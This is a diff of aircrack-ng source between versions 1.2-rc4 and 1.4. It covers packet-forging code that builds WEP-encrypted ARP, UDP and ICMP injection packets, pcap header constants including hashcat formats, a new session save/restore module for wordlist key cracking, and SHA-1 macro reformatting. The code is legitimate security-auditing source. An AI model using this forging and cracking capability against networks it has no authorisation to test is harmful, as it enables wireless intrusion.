+				break;
+
+			case 'j':
+
+				opt.fromds = 1;
+				break;
+
+			case 'o':
+
+				opt.tods = 0;
+				break;
+
+			case 'e':
+
+				opt.encrypt = 0;
+				break;
+
+			case 'r':
+
+				if (opt.raw_file != NULL)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.raw_file = optarg;
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (read_prga(&(opt.prga), optarg) != 0)
+				{
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'w':
+
+				if (opt.cap_out != NULL)
+				{
+					printf("Output file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.cap_out = optarg;
+
+				break;
+
+			case 'k':
+
+				if (getip(optarg, opt.dip, &(opt.dport)) != 0)
+				{
+					printf("Invalid destination IP address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return 1;
+				}
+				break;
+
+			case 'l':
+
+				if (getip(optarg, opt.sip, &(opt.sport)) != 0)
+				{
+					printf("Invalid source IP address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return 1;
+				}
+				break;
+
+			case 's':
+
+				ret = sscanf(optarg, "%i", &arg);
+				if (arg < 26 || arg > 1520 || ret != 1)
+				{
+					printf("Invalid packet size. [26-1520]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.size = arg;
+				break;
+
+			case '0':
+
+				if (opt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.mode = 0;
+
+				break;
+
+			case '1':
+
+				if (opt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.mode = 1;
+				break;
+
+			case '2':
+
+				if (opt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.mode = 2;
+				break;
+
+			case '3':
+
+				if (opt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.mode = 3;
+				break;
+
+			case '9':
+
+				if (opt.mode != -1)
+				{
+					printf("Mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.mode = 9;
+				break;
+
+			case 'H':
+
+				print_usage();
+				return (1);
+
+			default:
+				break;
+		}
+	}
+
+	if (argc == 1)
+	{
+		print_usage();
+		printf("Please specify a mode.\n");
+		return (1);
+	}
+
+	if (opt.raw_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.raw_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.raw_file);
+			return (1);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
+
+	for (n = 0; n < opt.num_packets; n++)
+	{
+		switch (opt.mode)
+		{
+			case 0:
+				if (forge_arp() != 0)
+				{
+					printf("Error building an ARP packet.\n");
+					return 1;
+				}
+				break;
+			case 1:
+				if (forge_udp() != 0)
+				{
+					printf("Error building an UDP packet.\n");
+					return 1;
+				}
+				break;
+			case 2:
+				if (forge_icmp() != 0)
+				{
+					printf("Error building an ICMP packet.\n");
+					return 1;
+				}
+				break;
+
+			case 3:
+				if (forge_null() != 0)
+				{
+					printf("Error building a NULL packet.\n");
+					return 1;
+				}
+				break;
+
+			case 9:
+				if (forge_custom() != 0)
+				{
+					printf("Error building a custom packet.\n");
+					return 1;
+				}
+				break;
+			default:
+				print_usage();
+				printf("Please specify a mode.\n");
+				return 1;
+		}
+
+		if (opt.encrypt)
+		{
+			if (create_wep_packet(h80211, &(opt.pktlen)) != 0) return 1;
+		}
+		else
+		{
+			/* set WEP bit = 0 */
+			h80211[1] = h80211[1] & 0xBF;
+		}
+
+		if (write_cap_packet(h80211, opt.pktlen) != 0)
+		{
+			printf("Error writing pcap file %s.\n", opt.cap_out);
+			return 1;
+		}
+	}
+	printf("Wrote packet%s to: %s\n",
+		   (opt.num_packets > 1 ? "s" : ""),
+		   opt.cap_out);
+
+	if (opt.ivs2) fclose(opt.ivs2);
+
+	return 0;
 }

aircrack-ng-1.2-rc4.tar.gz/src/pcap.h -> aircrack-ng-1.4.tar.gz/src/pcap.h Changed

@@ -14,7 +14,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  * In addition, as a special exception, the copyright holders give
  * permission to link the code of portions of this program with the
@@ -28,84 +28,88 @@
  * do not wish to do so, delete this exception statement from your
  * version.  If you delete this exception statement from all source
  * files in the program, then also delete it here.
- 
+
  */
 #ifndef _AIRCRACK_NG_PCAP_H_
 #define _AIRCRACK_NG_PCAP_H_
 
 #include <stdint.h>
 
-#define FORMAT_CAP      1
-#define FORMAT_IVS      2
-#define FORMAT_IVS2     3
+#define FORMAT_CAP 1
+#define FORMAT_IVS 2
+#define FORMAT_IVS2 3
+#define FORMAT_HCCAP 4
+#define FORMAT_HCCAPX 5
 
-#define TCPDUMP_MAGIC           0xA1B2C3D4
-#define TCPDUMP_CIGAM           0xD4C3B2A1
-#define IVSONLY_MAGIC           "\xBF\xCA\x84\xD4"
-#define IVS2_MAGIC              "\xAE\x78\xD1\xFF"
-#define IVS2_EXTENSION		"ivs"
-#define IVS2_VERSION             1
+#define HCCAPX_MAGIC "HCPX"
+#define TCPDUMP_MAGIC 0xA1B2C3D4
+#define TCPDUMP_CIGAM 0xD4C3B2A1
+#define IVSONLY_MAGIC "\xBF\xCA\x84\xD4"
+#define IVS2_MAGIC "\xAE\x78\xD1\xFF"
+#define IVS2_EXTENSION "ivs"
+#define IVS2_VERSION 1
 
-#define PCAP_VERSION_MAJOR      2
-#define PCAP_VERSION_MINOR      4
+#define PCAP_VERSION_MAJOR 2
+#define PCAP_VERSION_MINOR 4
 
-#define LINKTYPE_ETHERNET       1
-#define LINKTYPE_IEEE802_11     105
-#define LINKTYPE_PRISM_HEADER   119
-#define LINKTYPE_RADIOTAP_HDR   127
-#define LINKTYPE_PPI_HDR		192
+#define LINKTYPE_ETHERNET 1
+#define LINKTYPE_IEEE802_11 105
+#define LINKTYPE_PRISM_HEADER 119
+#define LINKTYPE_RADIOTAP_HDR 127
+#define LINKTYPE_PPI_HDR 192
 
-//BSSID const. length of 6 bytes; can be together with all the other types
-#define IVS2_BSSID	0x0001
+// BSSID const. length of 6 bytes; can be together with all the other types
+#define IVS2_BSSID 0x0001
 
-//ESSID var. length; alone, or with BSSID
-#define IVS2_ESSID	0x0002
+// ESSID var. length; alone, or with BSSID
+#define IVS2_ESSID 0x0002
 
-//wpa structure, const. length; alone, or with BSSID
-#define IVS2_WPA	0x0004
+// wpa structure, const. length; alone, or with BSSID
+#define IVS2_WPA 0x0004
 
-//IV+IDX+KEYSTREAM, var. length; alone or with BSSID
-#define IVS2_XOR	0x0008
+// IV+IDX+KEYSTREAM, var. length; alone or with BSSID
+#define IVS2_XOR 0x0008
 
-/* [IV+IDX][i][l][XOR_1]..[XOR_i][weight]                                                        *
- * holds i possible keystreams for the same IV with a length of l for each keystream (l max 32)  *
- * and an array "int weight[16]" at the end                                                      */
-#define IVS2_PTW        0x0010
+/* [IV+IDX][i][l][XOR_1]..[XOR_i][weight] *
+ * holds i possible keystreams for the same IV with a length of l for each
+ * keystream (l max 32)  *
+ * and an array "int weight[16]" at the end */
+#define IVS2_PTW 0x0010
 
-//unencrypted packet
-#define IVS2_CLR        0x0020
+// unencrypted packet
+#define IVS2_CLR 0x0020
 
 // Maximum length of an Information Element
 #define MAX_IE_ELEMENT_SIZE 256
 
 struct pcap_file_header
 {
-    uint32_t magic;
-    uint16_t version_major;
-    uint16_t version_minor;
-    int32_t thiszone;
-    uint32_t sigfigs;
-    uint32_t snaplen;
-    uint32_t linktype;
+	uint32_t magic;
+	uint16_t version_major;
+	uint16_t version_minor;
+	int32_t thiszone;
+	uint32_t sigfigs;
+	uint32_t snaplen;
+	uint32_t linktype;
 };
 
 struct pcap_pkthdr
 {
-    int32_t tv_sec;
-    int32_t tv_usec;
-    uint32_t caplen;
-    uint32_t len;
+	int32_t tv_sec;
+	int32_t tv_usec;
+	uint32_t caplen;
+	uint32_t len;
 };
 
 struct ivs2_filehdr
 {
-    uint16_t version;
+	uint16_t version;
 };
 
 struct ivs2_pkthdr
 {
-    uint16_t  flags;
-    uint16_t  len;
+	uint16_t flags;
+	uint16_t len;
 };
 
 #endif /* common.h */

aircrack-ng-1.4.tar.gz/src/session.c Added

@@ -0,0 +1,495 @@
+/*
+ *  Aircrack-ng session (load/restore).
+ *
+ *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#define _GNU_SOURCE
+#include "session.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <inttypes.h>
+
+#include "aircrack-util/common.h"
+
+int ac_session_destroy(struct session * s)
+{
+	if (s == NULL || s->filename == NULL)
+	{
+		return 0;
+	}
+
+	pthread_mutex_lock(&(s->mutex));
+	FILE * f = fopen(s->filename, "r");
+	if (!f)
+	{
+		pthread_mutex_unlock(&(s->mutex));
+		return 0;
+	}
+
+	fclose(f);
+	int ret = remove(s->filename);
+	pthread_mutex_unlock(&(s->mutex));
+
+	return ret == 0;
+}
+
+void ac_session_free(struct session ** s)
+{
+	if (s == NULL || *s == NULL)
+	{
+		return;
+	}
+
+	if ((*s)->filename)
+	{
+
+		// Delete 0 byte file
+		struct stat scs;
+		memset(&scs, 0, sizeof(struct stat));
+		pthread_mutex_lock(&((*s)->mutex));
+		if (stat((*s)->filename, &scs) == 0 && scs.st_size == 0)
+		{
+			pthread_mutex_unlock(&((*s)->mutex));
+			ac_session_destroy(*s);
+		}
+
+		free((*s)->filename);
+	}
+	if ((*s)->argv)
+	{
+		for (int i = 0; i < (*s)->argc; ++i)
+		{
+			free((*s)->argv[i]);
+		}
+		free((*s)->argv);
+	}
+	if ((*s)->working_dir) free((*s)->working_dir);
+
+	free(*s);
+	*s = NULL;
+}
+
+struct session * ac_session_new(void)
+{
+	return (struct session *) calloc(1, sizeof(struct session));
+}
+
+int ac_session_init(struct session * s)
+{
+	if (s == NULL)
+	{
+		return EXIT_FAILURE;
+	}
+
+	memset(s, 0, sizeof(struct session));
+	pthread_mutex_init(&(s->mutex), NULL);
+
+	return EXIT_SUCCESS;
+}
+
+int ac_session_set_working_directory(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL || str[0] == 0 || chdir(str) == -1)
+	{
+		return EXIT_FAILURE;
+	}
+
+	session->working_dir = strdup(str);
+
+	return (session->working_dir) ? EXIT_SUCCESS : EXIT_FAILURE;
+}
+
+int ac_session_set_bssid(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL || strlen(str) != 17)
+	{
+		return EXIT_FAILURE;
+	}
+
+	// Parse BSSID
+	unsigned int bssid[6];
+	int count = sscanf(str,
+					   "%02X:%02X:%02X:%02X:%02X:%02X",
+					   &bssid[0],
+					   &bssid[1],
+					   &bssid[2],
+					   &bssid[3],
+					   &bssid[4],
+					   &bssid[5]);
+
+	// Verify all parsed correctly
+	if (count < 6)
+	{
+		return EXIT_FAILURE;
+	}
+
+	// Copy it back to the structure
+	for (int i = 0; i < 6; ++i)
+	{
+		session->bssid[i] = (uint8_t) bssid[i];
+	}
+
+	return EXIT_SUCCESS;
+}
+
+int ac_session_set_wordlist_settings(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL)
+	{
+		return EXIT_FAILURE;
+	}
+
+	int nb_input_scanned = sscanf(str,
+								  "%hhu %" PRId64 " %lld",
+								  &(session->wordlist_id),
+								  &(session->pos),
+								  &(session->nb_keys_tried));
+
+	if (nb_input_scanned != 3 || session->pos < 0 || session->nb_keys_tried < 0)
+	{
+		return EXIT_FAILURE;
+	}
+
+	return EXIT_SUCCESS;
+}
+
+#define SESSION_MIN_NBARG 4
+int ac_session_set_amount_arguments(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL)
+	{
+		return EXIT_FAILURE;
+	}
+
+	// Parse amount of arguments
+	int nb_input_scanned = sscanf(str, "%d", &(session->argc));
+	if (nb_input_scanned != 1 || session->argc < SESSION_MIN_NBARG)
+	{
+		// There should be at least 4 arguments:
+		// - Executable path (argv[0])
+		// - -w
+		// - Wordlist
+		// - capture file
+		return EXIT_FAILURE;
+	}
+
+	// Allocate memory for all the arguments
+	session->argv = (char **) calloc(session->argc, sizeof(char *));
+
+	return (session->argv) ? EXIT_SUCCESS : EXIT_FAILURE;
+}
+
+static char * ac_session_getline(FILE * f)
+{
+	if (f == NULL)
+	{
+		return NULL;
+	}
+
+	char * ret = NULL;
+	size_t n = 0;
+	ssize_t line_len = getline(&ret, &n, f);
+
+	if (line_len == -1)
+	{
+		return NULL;
+	}
+
+	return ret;
+}
+
+/*
+ * MT-Unsafe: Caller must not permit multiple threads to call
+ * the function with the same filename.
+ *
+ * File format:
+ * Line 1: Working directory
+ * Line 2: BSSID
+ * Line 3: Wordlist ID followed by a space then
+ *          position in file followed by a space then
+ *          amount of keys tried
+ * Line 4: Amount of arguments (indicates how many lines will follow this one)
+ *
+ * Notes:
+ * - Any line starting with # is ignored
+ * - First 4 lines CANNOT be empty
+ * - Lines are trimmed of any possible \r and \n at the end
+ */
+
+#define SESSION_ARGUMENTS_LINE 4
+#define AC_SESSION_CWD_LINE 0
+#define AC_SESSION_BSSID_LINE 1
+#define AC_SESSION_WL_SETTINGS_LINE 2
+#define AC_SESSION_ARGC_LINE 3
+struct session * ac_session_load(const char * filename)
+{
+	int temp;
+
+	// Check if file exists
+	if (filename == NULL || filename[0] == 0)
+	{
+		return NULL;
+	}
+	FILE * f = fopen(filename, "r");
+	if (f == NULL)
+	{
+		return NULL;
+	}
+
+	// Check size isn't 0
+	if (fseeko(f, 0, SEEK_END))
+	{
+		fclose(f);
+		return NULL;
+	}
+	uint64_t fsize = ftello(f);
+	if (fsize == 0)
+	{
+		fclose(f);
+		return NULL;
+	}
+	rewind(f);
+
+	// Prepare structure
+	struct session * ret = ac_session_new();
+	if (ret == NULL)
+	{
+		fclose(f);
+		return NULL;
+	}
+
+	// Initialize
+	ac_session_init(ret);
+	ret->filename = strdup(filename);
+
+	char * line;
+	int line_nr = 0;
+	while (1)
+	{
+		line = ac_session_getline(f);
+
+		// Basic checks and trimming
+		if (line == NULL) break;
+		if (line[0] == '#') continue;
+		rtrim(line);
+
+		// Check the parameters
+		switch (line_nr)
+		{
+			case AC_SESSION_CWD_LINE: // Working directory
+			{
+				temp = ac_session_set_working_directory(ret, line);
+				break;
+			}
+			case AC_SESSION_BSSID_LINE: // BSSID
+			{
+				temp = ac_session_set_bssid(ret, line);
+				break;
+			}
+			case AC_SESSION_WL_SETTINGS_LINE: // Wordlist ID, position in
+				// wordlist and amount of keys
+				// tried
+				{
+					temp = ac_session_set_wordlist_settings(ret, line);
+					break;
+				}
+			case AC_SESSION_ARGC_LINE: // Number of arguments
+			{
+				temp = ac_session_set_amount_arguments(ret, line);
+				break;
+			}
+			default: // All the arguments
+			{
+				ret->argv[line_nr - SESSION_ARGUMENTS_LINE] = line;
+				temp = EXIT_SUCCESS;
+				break;
+			}
+		}
+
+		// Cleanup
+		if (line_nr < SESSION_ARGUMENTS_LINE)
+		{
+			free(line);
+		}
+
+		// Check for success/failure
+		if (temp == EXIT_FAILURE)
+		{
+			fclose(f);
+			ac_session_free(&ret);
+			return NULL;
+		}
+
+		++line_nr;
+	}
+
+	fclose(f);
+	if (line_nr < SESSION_ARGUMENTS_LINE + 1)
+	{
+		ac_session_free(&ret);
+		return NULL;
+	}
+
+	return ret;
+}
+
+// Two arguments will be ignored: Session creation parameter and its argument
+#define AMOUNT_ARGUMENTS_IGNORE 2
+struct session *
+ac_session_from_argv(const int argc, char ** argv, const char * filename)
+{
+	if (filename == NULL || filename[0] == 0 || argc <= 3 || argv == NULL)
+	{
+		// If it only has this parameter, then there is something wrong
+		return NULL;
+	}
+
+	// Check if the file exists and create it if it doesn't
+	int fd = -1;
+	if ((fd = open(filename, O_WRONLY | O_CREAT | O_EXCL, 0666)) >= 0)
+	{
+		// Just create an empty file for now
+		close(fd);
+	}
+	else
+	{
+		// Not overwriting
+		fprintf(stderr, "Session file already exists: %s\n", filename);
+		return NULL;
+	}
+
+	// Initialize structure
+	struct session * ret = ac_session_new();
+	if (ret == NULL)
+	{
+		return NULL;
+	}
+	ac_session_init(ret);
+
+	// Get working directory and copy filename
+	ret->working_dir = get_current_working_directory();
+
+	// Copy filename
+	ret->filename = strdup(filename);
+
+	// Copy argc and argv, except the 2 specifying session filename location
+	ret->argv
+		= (char **) calloc(argc - AMOUNT_ARGUMENTS_IGNORE, sizeof(char *));
+
+	// Check values are properly set
+	if (ret->filename == NULL || ret->working_dir == NULL || ret->argv == NULL)
+	{
+		ac_session_free(&ret);
+		return NULL;
+	}
+
+	// Copy all the arguments
+	for (int i = 0; i < argc; ++i)
+	{
+		if (strcmp(argv[i], filename) == 0)
+		{
+			// Found the session filename, now remove the previously copied
+			// argument
+			ret->argc--;
+			free(ret->argv[ret->argc]);
+			ret->argv[ret->argc] = NULL;
+			continue;
+		}
+
+		// Copy argument
+		ret->argv[ret->argc] = strdup(argv[i]);
+		if (ret->argv[ret->argc] == NULL)
+		{
+			ac_session_free(&ret);
+			return NULL;
+		}
+
+		// Increment count
+		ret->argc++;
+	}
+
+	return ret;
+}
+
+int ac_session_save(struct session * s,
+					uint64_t pos,
+					long long int nb_keys_tried)
+{
+	if (s == NULL || s->filename == NULL || s->working_dir == NULL
+		|| s->argc == 0
+		|| s->argv == NULL)
+	{
+		return -1;
+	}
+
+	// Update amount of keys tried in structure
+	s->nb_keys_tried = nb_keys_tried;
+
+	// Open file for writing
+	pthread_mutex_lock(&(s->mutex));
+	FILE * f = fopen(s->filename, "w");
+	if (f == NULL)
+	{
+		pthread_mutex_unlock(&(s->mutex));
+		return -1;
+	}
+
+	// Update position in wordlist
+	s->pos = pos;
+
+	// Write it
+	fprintf(f, "%s\n", s->working_dir);
+	fprintf(f,
+			"%02X:%02X:%02X:%02X:%02X:%02X\n",
+			s->bssid[0],
+			s->bssid[1],
+			s->bssid[2],
+			s->bssid[3],
+			s->bssid[4],
+			s->bssid[5]);
+	fprintf(
+		f, "%d %" PRId64 " %lld\n", s->wordlist_id, s->pos, s->nb_keys_tried);
+	fprintf(f, "%d\n", s->argc);
+	for (int i = 0; i < s->argc; ++i)
+	{
+		fprintf(f, "%s\n", s->argv[i]);
+	}
+	fclose(f);
+	pthread_mutex_unlock(&(s->mutex));
+
+	return 0;
+}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/session.h Added

@@ -0,0 +1,83 @@
+/*
+ *  Aircrack-ng session (load/restore).
+ *
+ *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _AIRCRACK_NG_SESSION_H
+#define _AIRCRACK_NG_SESSION_H
+
+#include <inttypes.h>
+#include <pthread.h>
+
+struct session
+{
+	char * filename; // Session filename
+
+	// Session file content
+	char * working_dir; // Line 1: Current working directory
+	unsigned char bssid[6]; // Line 2: BSSID
+	unsigned char wordlist_id; // Line 3: Wordlist # (there can be multiple
+	// wordlist loaded using -w
+	int64_t pos; // Line 3: Position in the wordlist ID.
+	long long int
+		nb_keys_tried; // Line 3: Amount of keys already tried, purely for stats
+	int argc; // Line 4: amount of arguments
+	char ** argv; // Line 5 and further: Arguments (1 per line)
+	pthread_mutex_t
+		mutex; // Locking for when updating wordlist settings and saving file
+};
+
+struct session * ac_session_new(void);
+int ac_session_destroy(struct session * s);
+void ac_session_free(struct session ** s);
+int ac_session_init(struct session * s);
+
+// Validate and set the different values in the session structure
+int ac_session_set_working_directory(struct session * session,
+									 const char * str);
+int ac_session_set_bssid(struct session * session, const char * str);
+int ac_session_set_wordlist_settings(struct session * session,
+									 const char * str);
+int ac_session_set_amount_arguments(struct session * session, const char * str);
+
+// Load from file
+struct session * ac_session_load(const char * filename);
+
+// Save to file
+int ac_session_save(struct session * s,
+					uint64_t pos,
+					long long int nb_keys_tried);
+
+struct session *
+ac_session_from_argv(const int argc, char ** argv, const char * filename);
+
+#endif // _AIRCRACK_NG_SESSION_H

aircrack-ng-1.2-rc4.tar.gz/src/sha1-git.c -> aircrack-ng-1.4.tar.gz/src/sha1-git.c Changed

@@ -51,15 +51,20 @@
  * rotate with a loop.
  */
 
-#define SHA_ASM(op, x, n) ({ unsigned int __res; __asm__(op " %1,%0":"=r" (__res):"i" (n), "0" (x)); __res; })
-#define SHA_ROL(x,n)	SHA_ASM("rol", x, n)
-#define SHA_ROR(x,n)	SHA_ASM("ror", x, n)
+#define SHA_ASM(op, x, n)                                                      \
+	({                                                                         \
+		unsigned int __res;                                                    \
+		__asm__(op " %1,%0" : "=r"(__res) : "i"(n), "0"(x));                   \
+		__res;                                                                 \
+	})
+#define SHA_ROL(x, n) SHA_ASM("rol", x, n)
+#define SHA_ROR(x, n) SHA_ASM("ror", x, n)
 
 #else
 
-#define SHA_ROT(X,l,r)	(((X) << (l)) | ((X) >> (r)))
-#define SHA_ROL(X,n)	SHA_ROT(X,n,32-(n))
-#define SHA_ROR(X,n)	SHA_ROT(X,32-(n),n)
+#define SHA_ROT(X, l, r) (((X) << (l)) | ((X) >> (r)))
+#define SHA_ROL(X, n) SHA_ROT(X, n, 32 - (n))
+#define SHA_ROR(X, n) SHA_ROT(X, 32 - (n), n)
 
 #endif
 
@@ -86,11 +91,16 @@
  */
 
 #if defined(__i386__) || defined(__x86_64__)
-  #define setW(x, val) (*(volatile unsigned int *)&W(x) = (val))
+#define setW(x, val) (*(volatile unsigned int *) &W(x) = (val))
 #elif defined(__GNUC__) && defined(__arm__)
-  #define setW(x, val) do { W(x) = (val); __asm__("":::"memory"); } while (0)
+#define setW(x, val)                                                           \
+	do                                                                         \
+	{                                                                          \
+		W(x) = (val);                                                          \
+		__asm__("" ::: "memory");                                              \
+	} while (0)
 #else
-  #define setW(x, val) (W(x) = (val))
+#define setW(x, val) (W(x) = (val))
 #endif
 
 /*
@@ -100,55 +110,70 @@
  * and is faster on architectures with memory alignment issues.
  */
 
-#if defined(__i386__) || defined(__x86_64__) || \
-    defined(_M_IX86) || defined(_M_X64) || \
-    defined(__ppc__) || defined(__ppc64__) || \
-    defined(__powerpc__) || defined(__powerpc64__) || \
-    defined(__s390__) || defined(__s390x__)
+#if defined(__i386__) || defined(__x86_64__) || defined(_M_IX86)               \
+	|| defined(_M_X64) || defined(__ppc__) || defined(__ppc64__)               \
+	|| defined(__powerpc__) || defined(__powerpc64__) || defined(__s390__)     \
+	|| defined(__s390x__)
 
-#define get_be32(p)	ntohl(*(unsigned int *)(p))
-#define put_be32(p, v)	do { *(unsigned int *)(p) = htonl(v); } while (0)
+#define get_be32(p) ntohl(*(unsigned int *) (p))
+#define put_be32(p, v)                                                         \
+	do                                                                         \
+	{                                                                          \
+		*(unsigned int *) (p) = htonl(v);                                      \
+	} while (0)
 
 #else
 
-#define get_be32(p)	( \
-	(*((unsigned char *)(p) + 0) << 24) | \
-	(*((unsigned char *)(p) + 1) << 16) | \
-	(*((unsigned char *)(p) + 2) <<  8) | \
-	(*((unsigned char *)(p) + 3) <<  0) )
-#define put_be32(p, v)	do { \
-	unsigned int __v = (v); \
-	*((unsigned char *)(p) + 0) = __v >> 24; \
-	*((unsigned char *)(p) + 1) = __v >> 16; \
-	*((unsigned char *)(p) + 2) = __v >>  8; \
-	*((unsigned char *)(p) + 3) = __v >>  0; } while (0)
+#define get_be32(p)                                                            \
+	((*((unsigned char *) (p) + 0) << 24)                                      \
+	 | (*((unsigned char *) (p) + 1) << 16)                                    \
+	 | (*((unsigned char *) (p) + 2) << 8)                                     \
+	 | (*((unsigned char *) (p) + 3) << 0))
+#define put_be32(p, v)                                                         \
+	do                                                                         \
+	{                                                                          \
+		unsigned int __v = (v);                                                \
+		*((unsigned char *) (p) + 0) = __v >> 24;                              \
+		*((unsigned char *) (p) + 1) = __v >> 16;                              \
+		*((unsigned char *) (p) + 2) = __v >> 8;                               \
+		*((unsigned char *) (p) + 3) = __v >> 0;                               \
+	} while (0)
 
 #endif
 
 /* This "rolls" over the 512-bit array */
-#define W(x) (array[(x)&15])
+#define W(x) (array[(x) &15])
 
 /*
  * Where do we get the source from? The first 16 iterations get it from
  * the input data, the next mix it from the 512-bit array.
  */
 #define SHA_SRC(t) get_be32(data + t)
-#define SHA_MIX(t) SHA_ROL(W(t+13) ^ W(t+8) ^ W(t+2) ^ W(t), 1)
-
-#define SHA_ROUND(t, input, fn, constant, A, B, C, D, E) do { \
-	unsigned int TEMP = input(t); setW(t, TEMP); \
-	E += TEMP + SHA_ROL(A,5) + (fn) + (constant); \
-	B = SHA_ROR(B, 2); } while (0)
-
-#define T_0_15(t, A, B, C, D, E)  SHA_ROUND(t, SHA_SRC, (((C^D)&B)^D) , 0x5a827999, A, B, C, D, E )
-#define T_16_19(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (((C^D)&B)^D) , 0x5a827999, A, B, C, D, E )
-#define T_20_39(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (B^C^D) , 0x6ed9eba1, A, B, C, D, E )
-#define T_40_59(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, ((B&C)+(D&(B^C))) , 0x8f1bbcdc, A, B, C, D, E )
-#define T_60_79(t, A, B, C, D, E) SHA_ROUND(t, SHA_MIX, (B^C^D) ,  0xca62c1d6, A, B, C, D, E )
-
-static void blk_SHA1_Block(blk_SHA_CTX *ctx, const unsigned int *data)
+#define SHA_MIX(t) SHA_ROL(W(t + 13) ^ W(t + 8) ^ W(t + 2) ^ W(t), 1)
+
+#define SHA_ROUND(t, input, fn, constant, A, B, C, D, E)                       \
+	do                                                                         \
+	{                                                                          \
+		unsigned int TEMP = input(t);                                          \
+		setW(t, TEMP);                                                         \
+		E += TEMP + SHA_ROL(A, 5) + (fn) + (constant);                         \
+		B = SHA_ROR(B, 2);                                                     \
